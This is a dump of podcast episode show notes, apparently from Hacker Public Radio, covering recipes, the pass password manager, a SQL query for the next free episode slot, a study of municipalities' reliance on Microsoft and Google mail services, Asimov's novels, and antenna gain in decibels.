
                                                            \n

                                                            \n\nhttps://www.kentuckytourism.com/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nHummus\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.inspiredtaste.net/15938/easy-and-smooth-hummus-recipe/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nPublix Grocery Store\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.publix.com/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nEngine 15 Brewing\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://engine15.com/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nMC Chouffe Belgian Beer\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://chouffe.com/en-us/beer/mc-chouffe/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nSpider Man Pez Dispenser\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://us.pez.com/products/spider-man\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nJitsi\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://jitsi.org/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nMumble\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.mumble.info/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nASMR\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://pmc.ncbi.nlm.nih.gov/articles/PMC4380153/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nDavid Tipton (Radio Repair)\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.youtube.com/@DavidTipton101\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nDonut Holes\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.justataste.com/easy-homemade-glazed-doughnut-holes-recipe/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nLexington Kentucky\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.lexingtonky.gov/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n\n\n","hostid":269,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"new years,HPR,community","version":0,"downloads":0,"valid":1}, {"id":4375,"date":"2025-05-09","title":"Long Chain Carbons,Eggs and Dorodango?","duration":2026,"summary":"We make egg drop soup and talk about Dorodango W T F","notes":"\n

                                                            \n

                                                            \n

                                                            \n Let's make soup while talking about Dorodango.

                                                            \n

                                                            \n

                                                            \n

                                                            \n

                                                            \n Dorodango (Japanese: 泥だんご, lit. \"mud dumpling\") is a Japanese art\n form in which earth and water are combined and moulded, then\n carefully polished to create a delicate shiny sphere.

                                                            \n

                                                            \n

                                                            \n

                                                            \n

                                                            \n \n https://en.wikipedia.org/wiki/Dorodango\n

                                                            \n

                                                            \n

                                                            \n

                                                            \n

                                                            \n \n \n \n

                                                            \n

                                                            \n

                                                            \n

                                                            \n

                                                            \n \n \n \n

                                                            \n

                                                            \n \n

                                                            \n

                                                            Links

                                                            \n \n

                                                            \n

                                                            \n
                                                            \n

                                                            ","hostid":36,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Dorodango,crafts,cooking","version":0,"downloads":0,"valid":1}, {"id":4376,"date":"2025-05-12","title":"Re-research","duration":698,"summary":"Lee talks about trying to do academic research","notes":"\n

                                                            Research Tools

                                                            \n \n

                                                            Databases

                                                            \n
                                                              \n
                                                            • SQL Databases - https://en.wikipedia.org/wiki/Relational_database
                                                            • \n
                                                            • NoSQL Databases - https://en.wikipedia.org/wiki/NoSQL
                                                            • \n
                                                            • Graph Databases - https://en.wikipedia.org/wiki/Graph_database
                                                            • \n
                                                            \n

                                                            Misc

                                                            \n
                                                              \n
                                                            • Borland Graphics Interface - https://en.wikipedia.org/wiki/Borland_Graphics_Interface
                                                            • \n
                                                            • Hough Transform - https://en.wikipedia.org/wiki/Hough_transform
                                                            • \n
                                                            • Joplin - https://joplinapp.org/
                                                            • \n
                                                            ","hostid":403,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"research, university, machine learning, databases","version":0,"downloads":0,"valid":1}, {"id":4377,"date":"2025-05-13","title":"Password store and the pass command","duration":1779,"summary":"Try a UNIX-like password manager","notes":"\n

                                                            Standard UNIX password\n manager

                                                            \n

                                                            Password management is one of those computing problems you\n probably don't think about often, because modern computing usually\n has an obvious default solution built-in.

                                                            \n

                                                            A website prompts you for a password, and your browser auto-fills\n it in for you.

                                                            \n

                                                            Problem solved.

                                                            \n

                                                            However, not all browsers make it very easy to get to your\n passwords store, which makes it complex to migrate passwords to a\n new system without also migrating the rest of your user profile,\n or to share certain passwords between different users.

                                                            \n

                                                            There are several good open source options that offer\n alternatives to the obvious defaults, but as a user of Linux and\n UNIX, I love a minimal and stable solution when one is available.

                                                            \n

                                                            The pass command is a password manager that uses\n GPG encryption to keep your passwords safe, and it features\n several system integrations so you can use it seamlessly with your\n web browser of choice.

                                                            \n

                                                            Install pass

                                                            \n

                                                            The pass command is provided by the PasswordStore project.

                                                            \n

                                                            You can install it from your software repository or ports\n collection.

                                                            \n

                                                            For example, on Fedora:

                                                            \n
                                                            \n$ sudo dnf install pass\n
                                                            \n

                                                            On Debian and similar:

                                                            \n
                                                            \n$ sudo apt install pass\n
                                                            \n

                                                            Because the word pass is common, the name of the\n package may vary, depending on your distribution and operating\n system.

                                                            \n

                                                            For example, pass is available on Slackware and\n FreeBSD as password-store.

                                                            \n

                                                            The pass command is open source, so the source code\n is available at git.zx2c4.com/password-store.

                                                            \n

                                                            Create a GPG key

                                                            \n

                                                            First, you must have a GPG key to use for encryption.

                                                            \n

                                                            You can use a key you already have, or create a new one just for\n your password store.

                                                            \n

                                                            To create a GPG key, use the gpg command along with\n the --gen-key option (if you already have a key you\n want to use for your password store, you can skip this step):

                                                            \n
                                                            \n$ gpg --gen-key\n
                                                            \n

                                                            Answer the prompts to generate a key.

                                                            \n

                                                            When prompted to provide values for Real name,\n Email, and Comment, you must\n provide a response for each one, even though GPG allows you to\n leave them empty.

                                                            \n

                                                            In my experience, pass fails to initialize when one\n of those values is empty.

                                                            \n

                                                            For example, here are my responses for purposes of this article:

                                                            \n
                                                            \nReal name: Tux\n\nEmail: tux@example.com\n\nComment: My first key\n
                                                            \n

                                                            This information is combined, in a different order, to create a\n unique GPG ID.

                                                            \n

                                                            You can see your GPG key ID at any time:

                                                            \n
                                                            \n$ gpg --list-secret-keys | grep uid\n\nuid:     Tux (My first key) tux@example.com\n
                                                            \n

                                                            Other than that, it's safe to accept the default and recommended\n options for each prompt.

                                                            \n

                                                            In the end, you have a GPG key to serve as the master key for\n your password store.

                                                            \n

                                                            You must keep this key safe.

                                                            \n

                                                            Back it up, keep a copy of your GPG keyring on a secure device.

                                                            \n

                                                            Should you lose this key, you lose access to your password store.

                                                            \n

                                                            Initialize a password store

                                                            \n

                                                            Next, you must initialize a password store on your system.

                                                            \n

                                                            When you do, you create a hidden directory where your passwords\n are stored, and you define which GPG key to use to encrypt\n passwords.

                                                            \n

                                                            To initialize a password store, use the pass init\n command along with your unique GPG key ID.

                                                            \n

                                                            Using my example key:

                                                            \n
                                                            \n$ pass init \"Tux (My first key) <tux@example.com>\"\n
                                                            \n

                                                            You can define more than one GPG key to use with your password\n store, should you intend to share passwords with another user or\n on another system using a different GPG key.

                                                            \n

                                                            Add and edit passwords

                                                            \n

                                                            To add a password to your password store, use the pass\n insert command followed by the URL (or any string) you\n want pass to keep.

                                                            \n
                                                            \n$ pass insert example.org\n
                                                            \n

                                                            Enter the password at the prompt, and then again to confirm.

                                                            \n

                                                            Most websites require more than just a password, and so pass\n can manage additional data, like username, email, and any other\n field.

                                                            \n

                                                            To add extra data to a password file, use pass edit\n followed by the URL or string you saved the password as:

                                                            \n
                                                            \n$ pass edit example.org\n
                                                            \n

                                                            The first line of a password file must be the password itself.

                                                            \n

                                                            After that first line, however, you can add any additional data\n you want, in the format of the field name followed by a colon and\n then the value.

                                                            \n

                                                            For example, to save tux as the value of the username\n field on a website:

                                                            \n
                                                            \nmyFakePassword123\n\nusername: tux\n
                                                            \n

                                                            Some websites use an email address instead of a username:

                                                            \n
                                                            \nmyFakePassword123\n\nemail: tux@example.com\n
                                                            \n

                                                            A password file can contain any data you want, so you can also\n add important notes or one-time recovery codes, and anything else\n you might find useful:

                                                            \n
                                                            \nmyFake;_;Password123\n\nemail: tux@example.com\n\nrecovery email: tux@example.org\n\nrecovery code: 03a5-1992-ee12-238c\n\nnote: This is your personal account, use company SSO at work\n
                                                            \n

                                                            List passwords

                                                            \n

                                                            To see all passwords in your password store:

                                                            \n
                                                            \n$ pass list\n\nPassword Store\n\n├── example.com\n\n├── example.org\n
                                                            \n

                                                            You can also search your password store:

                                                            \n
                                                            \n$ pass find bandcamp\n\nSearch Terms: bandcamp\n\n└── www.bandcamp.com\n
                                                            \n

                                                            Integrating your password\n store

                                                            \n

                                                            Your password store is perfectly usable from a terminal, but\n that's not the only way to use it.

                                                            \n

                                                            Using extensions, you can use pass as your web\n browser's password manager.

                                                            \n

                                                            There are several different applications that provide a bridge\n between pass and your browser.

                                                            \n

                                                            Most are listed in the CompatibleClients\n section of passwordstore.org.

                                                            \n

                                                            I use PassFF,\n which provides a Firefox\n extension.

                                                            \n

                                                            For browsers based on Chromium, you can use Browserpass\n with the Browserpass\n extension.

                                                            \n

                                                            In both cases, the browser extension requires a \"host\n application\", or a background bridge service to allow your browser\n to access the encrypted data in your password store.

                                                            \n

                                                            For PassFF, download the install script:

                                                            \n
                                                            \n$ wget https://codeberg.org/PassFF/passff-host/releases/download/latest/install_host_app.sh\n
                                                            \n

                                                            Review the script to confirm that it's just installing the host\n application, and then run it:

                                                            \n
                                                            \n$ bash ./install_host_app.sh firefox\n\nPython 3 executable located at /usr/bin/python3\n\nPass executable located at /usr/bin/pass\n\nInstalling Firefox host config\n\nNative messaging host for Firefox has been installed to /home/tux/.mozilla/native-messaging-hosts.\n
                                                            \n

                                                            Install the browser extension, and then restart your browser.

                                                            \n

                                                            When you navigate to a URL with an file in your password store, a\n pass icon appears in the relevant fields.

                                                            \n

                                                            Click the icon to complete the form.

                                                            \n

                                                            Alternately, a pass icon appears in your browser's\n extension tray, providing a menu for direct interaction with many\n pass functions (such as copying data directly to your\n system clipboard, or auto-filling only a specific field, and so\n on.)

                                                            \n

                                                            Password management like UNIX

                                                            \n

                                                            The pass command is extensible, and there are some\n great add-ons for it.

                                                            \n

                                                            Here are some of my favourites:

                                                            \n
                                                              \n
                                                            • \n

                                                              pass-otp:\n Add one-time password (OTP) functionality.

                                                              \n
                                                            • \n
                                                            • \n

                                                              pass-update:\n Add an easy workflow for updating passwords that you\n frequently change.

                                                              \n
                                                            • \n
                                                            • \n

                                                              pass-import:\n Import passwords from chrome, 1password, bitwarden,\n apple-keychain, gnome-keyring, keepass, lastpass, and many\n more (including pass itself, in the event you\n want to migrate a password store).

                                                              \n
                                                            • \n
                                                            \n

                                                            The pass command and the password store system is a\n comfortably UNIX-like password management solution.

                                                            \n

                                                            It stores your passwords as text files in a format that doesn't\n even require you to have pass installed for access.

                                                            \n

                                                            As long as you have your GPG key, you can access and use the data\n in your password store.

                                                            \n

                                                            You own your data not only in the sense that it's local, but you\n have ownership of how you interact with it.

                                                            \n

                                                            You can sync your password stores between different machines\n using rsync or syncthing, or even backup the store to cloud\n storage.

                                                            \n

                                                            It's encrypted, and only you have the key.

                                                            ","hostid":78,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"password, security","version":0,"downloads":0,"valid":1}, {"id":4378,"date":"2025-05-14","title":"SQL to get the next_free_slot","duration":1706,"summary":"norrist talks about SQL to find the next available HPR slot","notes":"\n

                                                            \nSQL for find next available Episode

                                                            \n

                                                            \nProblem

                                                            \n

                                                            \n\nhttps://repo.anhonesthost.net/HPR/hpr_hub/issues/71\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n
                                                            \nWe need to get the next_free_slot, and this needs to take into account the Eps and reservations table.
                                                            \n
                                                              \n
                                                            • \nEps table contain recorded and uploaded shows.
                                                            • \n
                                                            • \nreservations table reserve episodes that have not been recorded.
                                                            • \n
                                                            • \nThere are existing queries to find the next free slot, but it does not include reservations.
                                                            • \n
                                                            • \n\nHPR SQL dump\n - \nhttps://hackerpublicradio.org/hpr.sql\n
                                                            • \n
                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nTLDR

                                                            \n
                                                              \n
                                                            • \nCreate a list of all episode IDs from eps and reservations tables using SQL \nUNION\n
                                                            • \n
                                                            • \nJoin the union list + 1 with the IDs from the eps and reservation tables
                                                            • \n
                                                            • \nWHERE clause to select rows in the union list +1 that are not in eps and not in reservations
                                                            • \n
                                                            • \nOrder by and Limit to select the smallest
                                                            • \n
                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nTest Data

                                                            \n
                                                              \n
                                                            • \nTest data to make developing query easier.
                                                            • \n
                                                            • \nSimpler numbers so it is easier to spot patterns
                                                            • \n
                                                            • \nSame table and column names, and store them in a different database.
                                                            • \n
                                                            \n

                                                            \nCreate the test data tables

                                                            \n
                                                            \n-- Create eps\nCREATE TABLE IF NOT EXISTS eps (\n  id INT,\n  PRIMARY KEY (id)\n);\n\n\nCREATE TABLE IF NOT EXISTS reservations (\n  ep_num INT,\n  PRIMARY KEY (ep_num)\n);\n
                                                            \n

                                                            \nInsert the test data

                                                            \n
                                                            \n-- Inserts\nINSERT INTO eps (id) VALUES (1001);\nINSERT INTO eps (id) VALUES (1002);\nINSERT INTO eps (id) VALUES (1003);\nINSERT INTO eps (id) VALUES (1004);\nINSERT INTO eps (id) VALUES (1011);\nINSERT INTO eps (id) VALUES (1021);\nINSERT INTO eps (id) VALUES (1031);\nINSERT INTO eps (id) VALUES (1041);\n\nINSERT INTO reservations (ep_num) VALUES (1004);\nINSERT INTO reservations (ep_num) VALUES (1005);\nINSERT INTO reservations (ep_num) VALUES (1006);\nINSERT INTO reservations (ep_num) VALUES (1010);\nINSERT INTO reservations (ep_num) VALUES (1016);\n
                                                            \n

                                                            \nPrint the test data tables

                                                            \n
                                                            \n-- Episodes\nSELECT e.id as e_id FROM eps e order by e.id;\n+------+\n| e_id |\n+------+\n| 1001 |\n| 1002 |\n| 1003 |\n| 1004 |\n| 1011 |\n| 1021 |\n| 1031 |\n| 1041 |\n+------+\nSELECT r.ep_num as r_id FROM reservations r;\n+------+\n| r_id |\n+------+\n| 1004 |\n| 1005 |\n| 1006 |\n| 1010 |\n| 1016 |\n+------+\n
                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nJoin Types

                                                            \n
                                                              \n
                                                            • \nUNION - combine results of 2 queries
                                                            • \n
                                                            • \nINNER - Only records that are in both tables
                                                            • \n
                                                            • \nLEFT - All the Results in the Left column and matching results in the Right
                                                            • \n
                                                            \n

                                                            \nTest data Join Examples

                                                            \n
                                                              \n
                                                            • \nIn the test data, the ID \n1004\n is in both the episodes and reservations table.
                                                            • \n
                                                            • \nThis will not occur in the real HPR database, but is useful to how different join types work
                                                            • \n
                                                            • \nExample queries with \nINNER\n, \nRIGHT\n, and \nLEFT\n joins.
                                                            • \n
                                                            \n
                                                            \nMariaDB [next_av]> SELECT e.id ,r.ep_num  FROM eps e INNER JOIN reservations r ON e.id = r.ep_num;\n+------+--------+\n| id   | ep_num |\n+------+--------+\n| 1004 |   1004 |\n+------+--------+\n1 row in set (0.001 sec)\nMariaDB [next_av]> SELECT e.id ,r.ep_num  FROM eps e RIGHT JOIN reservations r ON e.id = r.ep_num;\n+------+--------+\n| id   | ep_num |\n+------+--------+\n| 1004 |   1004 |\n| NULL |   1005 |\n| NULL |   1006 |\n| NULL |   1010 |\n| NULL |   1016 |\n+------+--------+\n5 rows in set (0.001 sec)\nMariaDB [next_av]> SELECT e.id ,r.ep_num  FROM eps e LEFT JOIN reservations r ON e.id = r.ep_num;\n+------+--------+\n| id   | ep_num |\n+------+--------+\n| 1001 |   NULL |\n| 1002 |   NULL |\n| 1003 |   NULL |\n| 1004 |   1004 |\n| 1011 |   NULL |\n| 1021 |   NULL |\n| 1031 |   NULL |\n| 1041 |   NULL |\n+------+--------+\n8 rows in set (0.001 sec)\n
                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nCombine episode and reserved IDs

                                                            \n
                                                              \n
                                                            • \nCreate a single list of IDs from both tables with \nUNION\n
                                                            • \n
                                                            • \nUNION combines the results of 2 queries
                                                            • \n
                                                            • \nSQL \nas\n keyword renames query results
                                                            • \n
                                                            \n
                                                            \nSELECT id as all_ids\nFROM eps\nUNION\nselect ep_num FROM  reservations\n;\n+---------+\n| all_ids |\n+---------+\n|    1001 |\n|    1002 |\n|    1003 |\n|    1004 |\n|    1011 |\n|    1021 |\n|    1031 |\n|    1041 |\n|    1005 |\n|    1006 |\n|    1010 |\n|    1016 |\n+---------+\n
                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nJoin tables with the Union

                                                            \n
                                                              \n
                                                            • \nLeft Joins Keep everything in the Left column
                                                            • \n
                                                            • \nUse the Union of all IDs and join with Eps and reservations
                                                            • \n
                                                            • \nThe SQL will print a table of all the ids
                                                            • \n
                                                            • \nthe eps and reservation columns will have the id if they match or NULL if there is not a match.
                                                            • \n
                                                            \n
                                                            \nselect all_ids.id as all_ids ,eps.id as eps_ids , r.ep_num as reserved_ids FROM\n    (SELECT id\n    FROM eps\n    UNION\n    select ep_num FROM  reservations)\n    as all_ids\nLEFT JOIN eps\nON all_ids.id = eps.id\nLEFT JOIN reservations r\nON all_ids.id = r.ep_num\n;\n+---------+---------+--------------+\n| all_ids | eps_ids | reserved_ids |\n+---------+---------+--------------+\n|    1001 |    1001 |         NULL |\n|    1002 |    1002 |         NULL |\n|    1003 |    1003 |         NULL |\n|    1004 |    1004 |         1004 |\n|    1011 |    1011 |         NULL |\n|    1021 |    1021 |         NULL |\n|    1031 |    1031 |         NULL |\n|    1041 |    1041 |         NULL |\n|    1005 |    NULL |         1005 |\n|    1006 |    NULL |         1006 |\n|    1010 |    NULL |         1010 |\n|    1016 |    NULL |         1016 |\n+---------+---------+--------------+\n
                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nJoin with union plus 1 -- All Results

                                                            \n
                                                              \n
                                                            • \nAdd an additional column of the union ids +1
                                                            • \n
                                                            • \nJoin the Union plus one list with the episodes and reservations
                                                            • \n
                                                            • \nAvailable episodes will have NULL in the eps and reservations column
                                                            • \n
                                                            \n
                                                            \nselect all_ids.id as all_ids,all_ids.id+1 as all_ids_plus ,eps.id as eps_ids , r.ep_num as reserved_ids FROM\n    (SELECT id\n    FROM eps\n    UNION\n    select ep_num FROM  reservations)\n    as all_ids\nLEFT JOIN eps\nON all_ids.id+1 = eps.id\nLEFT JOIN reservations r\nON all_ids.id +1 = r.ep_num\nORDER BY all_ids\n;\n+---------+--------------+---------+--------------+\n| all_ids | all_ids_plus | eps_ids | reserved_ids |\n+---------+--------------+---------+--------------+\n|    1001 |         1002 |    1002 |         NULL |\n|    1002 |         1003 |    1003 |         NULL |\n|    1003 |         1004 |    1004 |         1004 |\n|    1004 |         1005 |    NULL |         1005 |\n|    1005 |         1006 |    NULL |         1006 |\n|    1006 |         1007 |    NULL |         NULL |\n|    1010 |         1011 |    1011 |         NULL |\n|    1011 |         1012 |    NULL |         NULL |\n|    1016 |         1017 |    NULL |         NULL |\n|    1021 |         1022 |    NULL |         NULL |\n|    1031 |         1032 |    NULL |         NULL |\n|    1041 |         1042 |    NULL |         NULL |\n+---------+--------------+---------+--------------+\n
                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nAdd a WHERE clause

                                                            \n
                                                              \n
                                                            • \nAdd a where clause to only print rows were eps and reservations are null
                                                            • \n
                                                            • \nThe smallest number in the +1 column will be the next available
                                                            • \n
                                                            \n
                                                            \nselect all_ids.id as all_ids,all_ids.id+1 as all_ids_plus ,eps.id as eps_ids , r.ep_num as reserved_ids FROM\n    (SELECT id\n    FROM eps\n    UNION\n    select ep_num FROM  reservations)\n    as all_ids\nLEFT JOIN eps\nON all_ids.id+1 = eps.id\nLEFT JOIN reservations r\nON all_ids.id +1 = r.ep_num\nWHERE eps.id is Null and r.ep_num is NULL\nORDER BY all_ids\n;\n+---------+--------------+---------+--------------+\n| all_ids | all_ids_plus | eps_ids | reserved_ids |\n+---------+--------------+---------+--------------+\n|    1006 |         1007 |    NULL |         NULL |\n|    1011 |         1012 |    NULL |         NULL |\n|    1016 |         1017 |    NULL |         NULL |\n|    1021 |         1022 |    NULL |         NULL |\n|    1031 |         1032 |    NULL |         NULL |\n|    1041 |         1042 |    NULL |         NULL |\n+---------+--------------+---------+--------------+\n6 rows in set (0.002 sec)\n
                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nAdd a limit and only select the id

                                                            \n
                                                              \n
                                                            • \nSort and select the 1st row
                                                            • \n
                                                            \n
                                                            \nselect all_ids.id+1 as available_id FROM\n    (SELECT id\n    FROM eps\n    UNION\n    select ep_num FROM  reservations)\n    as all_ids\nLEFT JOIN eps\nON all_ids.id+1 = eps.id\nLEFT JOIN reservations r\nON all_ids.id +1 = r.ep_num\nWHERE eps.id is Null and r.ep_num is NULL\nORDER BY available_id\nLIMIT 1\n;\n+--------------+\n| available_id |\n+--------------+\n|         1007 |\n+--------------+\n
                                                            \n

                                                            \n
                                                            \n

                                                            \n\n\n","hostid":342,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"sql,hpr","version":0,"downloads":0,"valid":1}, {"id":4379,"date":"2025-05-15","title":"Mapping Municipalities' Digital Dependencies","duration":800,"summary":"Asking your help in mapping public services of governmental websites","notes":"\n

                                                            \nIn this episode, I discuss my ongoing project aimed at mapping the dependencies municipalities have on major third-party digital services, particularly focusing on \nMicrosoft\n and \nGoogle\n, given their dominance in the market.

                                                            \n

                                                            \nThe aim of this research isn't about debating the quality of these products—it's assumed that with thousands of employees, these services meet most quality expectations. Instead, the focus is on the critical implications of widespread dependency and potential risks related to service interruptions or supply chain attacks.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nWhy is this important?

                                                            \n
                                                              \n
                                                            • \n\nSupply Chain Attacks\n: High dependency means higher vulnerability to targeted disruptions.
                                                            • \n
                                                            • \n\nBusiness Continuity\n: Significant risks were illustrated by incidents such as the \nCrowdStrike outage in July 2024\n, which forced Brussels Airport back to pencil-and-paper operations temporarily.
                                                            • \n
                                                            \n

                                                            \nMy Research Approach:

                                                            \n

                                                            \nPrimarily, I analyze the \nDNS MX records\n of municipalities:

                                                            \n

                                                            \n
                                                            \n

                                                            \n
                                                              \n
                                                            • \nMX records typically reveal if mail services are hosted on Microsoft (Office 365/Exchange Online) or Google (Workspace).
                                                            • \n
                                                            • \nA high probability that using these providers for email also means municipalities likely depend on the respective cloud office suite (e.g., Word/Excel/SharePoint or Docs/Sheets/Drive).
                                                            • \n
                                                            \n

                                                            \nPreliminary Observations:

                                                            \n
                                                              \n
                                                            • \n\nBelgium, Finland, Netherlands\n: Over \n70% of municipalities\n rely heavily on Microsoft mail services, a significant warning sign of dependency.
                                                            • \n
                                                            • \n\nGermany, Hungary\n: Fewer than \n5% of municipalities\n use Microsoft or Google explicitly via MX records, though caution is necessary. Here’s why:
                                                            • \n
                                                            \n

                                                            \nChallenges Identified:

                                                            \n
                                                              \n
                                                            • \n\nLocal MS Exchange Servers\n: Municipally hosted local installations aren't externally identifiable via MX records.
                                                            • \n
                                                            • \n\nMail Proxies\n: Some municipalities use mail proxy services (spam/phishing filters) obscuring the actual mail service used behind proxy domains.
                                                            • \n
                                                            \n

                                                            \nTechniques Tested:

                                                            \n
                                                              \n
                                                            • \n\nSPF Records\n: Often reveal the underlying email service, though they may contain outdated information, lowering reliability.
                                                            • \n
                                                            • \n\nTelnet EHLO Commands\n: Municipalities commonly obscure their SMTP headers, limiting usefulness.
                                                            • \n
                                                            • \n\nCloud Provider IP-Ranges\n: Investigating if mail servers run on Google, Amazon, or Azure infrastructure. Even if identified, this alone doesn't clarify if proprietary or replaceable services are used.
                                                            • \n
                                                            • \n\nTXT Records\n: Occasionally contain subscription keys or mail-related settings (e.g., MS subscriptions, Mailjet), but again, could be historical remnants.
                                                            • \n
                                                            \n

                                                            \nUnfortunately, none of these get to show me all of the third party services.

                                                            \n

                                                            \nCommunity Call:

                                                            \n

                                                            \nI'm reaching out to listeners and the broader community for ideas or techniques on reliably fingerprinting the actual digital service providers behind mail servers. Specifically:

                                                            \n

                                                            \n
                                                            \n

                                                            \n
                                                              \n
                                                            • \nHow to accurately determine if servers run \nMicrosoft or Google services\n?
                                                            • \n
                                                            • \nAny ideas to detect deployments of \nNextcloud\n or similar open-source alternatives?
                                                            • \n
                                                            \n

                                                            \nResources:

                                                            \n\n

                                                            \n
                                                            \n

                                                            \n

                                                            \nI'm looking forward to all your suggestions in the comments!

                                                            \n\n\n","hostid":433,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"hacktivism, dependency, autonomy, society","version":0,"downloads":0,"valid":1}, {"id":4380,"date":"2025-05-16","title":"Isaac Asimov: The Rest of Asimov's Foundation Stories","duration":757,"summary":"A look at the other Foundation-related novels of Isaac Asimov","notes":"\n

                                                            \n Isaac Asimov began with the Foundation series, but then added to\n it. Early on, he wrote what are called the Empire novels which are\n prequels to the rise of Trantor. Then he decided to tie his Robot\n series into his Foundation series. So now we will take a look at\n these remaining novels.

                                                            \n

                                                            \n Links:

                                                            \n ","hostid":198,"series":124,"explicit":0,"license":"CC-BY-SA","tags":"Science fiction, Asimov, Robots, Empire","version":0,"downloads":0,"valid":1}, {"id":4381,"date":"2025-05-19","title":"What Omni-Instantness Makes To My Brain and Your Brain?","duration":774,"summary":"Is Social Media Good To You? (Be It Fedi Or Not)","notes":"\n PROBLEMS:\n
                                                              \n
                                                            • Infinite feeds
                                                            • \n
                                                            • Notifications
                                                            • \n
                                                            \n

                                                            \n Everything virtual...?

                                                            \n

                                                            \n I hope the program be conducive to make you think straightly about\n this; short and long term.

                                                            \n

                                                            \n Links cited:

                                                            \n

                                                            \n Alzheimer’s Facts and Figures: https://www.alzra.org/alzheimers/facts-and-figures/

                                                            \n

                                                            \n How Exercise Protects Your Brain’s Health: https://health.clevelandclinic.org/exercise-and-brain-health

                                                            \n

                                                            \n Switching off: Sweden says back-to-basics schooling works on\n paper:

                                                            \n

                                                            \n https://www.theguardian.com/world/2023/sep/11/sweden-says-back-to-basics-schooling-works-on-paper

                                                            \n

                                                            \n Brazil restricts use of smartphones in elementary and high\n schools:

                                                            \n

                                                            \n https://edition.cnn.com/2025/01/13/americas/brazil-restricts-smartphones-in-schools-intl-latam/index.html

                                                            \n

                                                            \n The Brazilian Classroom: Same same, but very different:

                                                            \n

                                                            \n https://teachingacrossborders.ucalgaryblogs.ca/the-brazilian-classroom-same-same-but-very-different/

                                                            ","hostid":441,"series":0,"explicit":0,"license":"CC-BY-NC","tags":"Social Media Usage, Opinion","version":0,"downloads":0,"valid":1}, {"id":4382,"date":"2025-05-20","title":"Understanding Antenna Gain and the Decibel scale","duration":504,"summary":"The use of decibels can be a bit confusing, so in this episode paulj will enlighten you!","notes":"\n

                                                            Power Measurement and Antenna Gain

                                                            \n

                                                            HPR show by Paulj, May 2025.

                                                            \n

                                                            1.0 Power expressed in dB (also written as dBW)

                                                            \n

                                                                Power PdB = 10 . log10P

                                                            \n


                                                            \n

                                                            \n

                                                            Where P is the power expressed in Watts.

                                                            \n

                                                            2.0 Power expressed in dBm

                                                            \n

                                                                Power PdBm = 10 . log10P

                                                            \n


                                                            \n

                                                            \n

                                                            Where P is the power expressed in milliwatts.

                                                            \n


                                                            \n
                                                            \n

                                                            \n

                                                            1W = 1000mW
                                                            \n

                                                            \n

                                                                Power PdBm = 10 . log101000mW
                                                            \n

                                                            \n

                                                                Power PdBm = 30\n dBm
                                                            \n

                                                            \n

                                                                so:

                                                            \n
                                                              \n 0 dB = 30 dBm\n
                                                            \n

                                                            3.0 Power expressed relative to an isotropic antenna - dBi

                                                            \n

                                                            An Isotropic antenna is an theoretical ideal antenna which\n radiates equally in all directions. Imagine the antenna is at the\n centre of a sphere, the signal strength at the surface of the\n sphere is equal at all points. The gain of an isotropic antenna is\n defined as 1, meaning:
                                                            \n

                                                            \n

                                                                

                                                            \n
                                                              \n 10 dB = 10 dBi\n
                                                            \n

                                                            4.0 Power expressed relative to a half wave dipole antenna - dBd

                                                            \n

                                                            The simplest practical antenna is a half wave dipole antenna,\n where each of the two legs is a quarter wave length long. The feed\n is at the centre, and the two legs are generally horizontal, and\n aligned away from the feed point 180 degrees apart. The dipole\n antenna exhibits gain perpendicular to the legs. The maximum gain\n is 1.64 times the isotropic antenna - a gain of approximately\n 2.15dBi. The gain off the ends of the dipole is much lower - the\n total power radiated by the antenna can not exceed the power being\n input, so if there is more radiation (gain) in one direction,\n there must be a corresponding reduction in a different direction.\n So:

                                                            \n

                                                                

                                                            \n
                                                              \n 2.15 dBi = 0 dBd\n
                                                            \n

                                                            5.0 Effective Radiated Power - ERP and EIRP

                                                            \n

